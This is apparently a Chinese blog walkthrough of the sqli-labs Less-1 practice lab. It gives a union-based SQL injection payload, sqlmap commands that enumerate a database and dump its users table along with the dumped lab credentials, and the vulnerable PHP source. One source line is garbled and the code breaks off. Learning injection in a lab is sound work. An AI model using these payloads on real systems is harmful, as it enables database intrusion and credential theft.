sqlib练习

sqlib

新博客链接

环境搭建

本来想用阿里云搭建的,然后续费了一年,发觉阿里的那个防御有点烦,注入下被检测到就ban ip,搞得我都没法测试,最后就用docker搭建了

docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 4005:80 --rm  acgpiano/sqli-labs

sqli-labs1

拿到这个网站,不知道要干嘛。。。输入?id=1后便开始注入之旅

注入数据库名

http://43.247.91.228:84/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

emails
referers
uagents
users

拿到数据库名,

注入表名

users: id,email_id
emails: id,email_id
uagents:id,uagent,ip_address,username
referers: id,referer,ip_address

注入列名

id,username,password

http://43.247.91.228:84/Less-1/	

这里遍历1,2,3遍历下去就可以拿到所有用户名和密码了

sqlmap注入

sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id --dbs

数据库名
[] challenges
[
] information_schema
[] mysql
[
] performance_schema
[*] security

sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security --tables

表名
±---------+
| emails |
| referers |
| uagents |
| users |
±---------+

sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security -T users --columns

列名
±---------±------------+
| Column | Type |
±---------±------------+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
±---------±------------+

sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security -T users --columns -C username,password --dump

dump数据库
±---------±-----------+
| username | password |
±---------±-----------+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
±---------±-----------+

sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security -a

dump所有该库里的所有表

mysql学习

show databases; #查看数据库
use database #选择数据库
select table_name from information_schema.tables where table_schema=database(); #查看数据库中表
select column_name from information_schema.columns where table_name='user'; #查看数据库中列名
select User,Password from user; #查询数据

问题

–+ 以及-- 以及#注释方法有何不同,在这里只有–+合适,这是为什么

解决:

  1. #号用urlencode一次就可以
  2. – 将空格用urlencode一次
  3. –+ 直接就可以

原因:

  1. http请求不包括#号
  2. url中末尾包含空格不会发送空格,需转义
  3. +号在保留字符内,会被编码成空格

源码学习

注意到,这里是直接
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECTFROMusersWHEREid=id’ LIMIT 0,1";
然后直接查询,导致了sql注入,还有这里是字符型

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
   
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
   
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值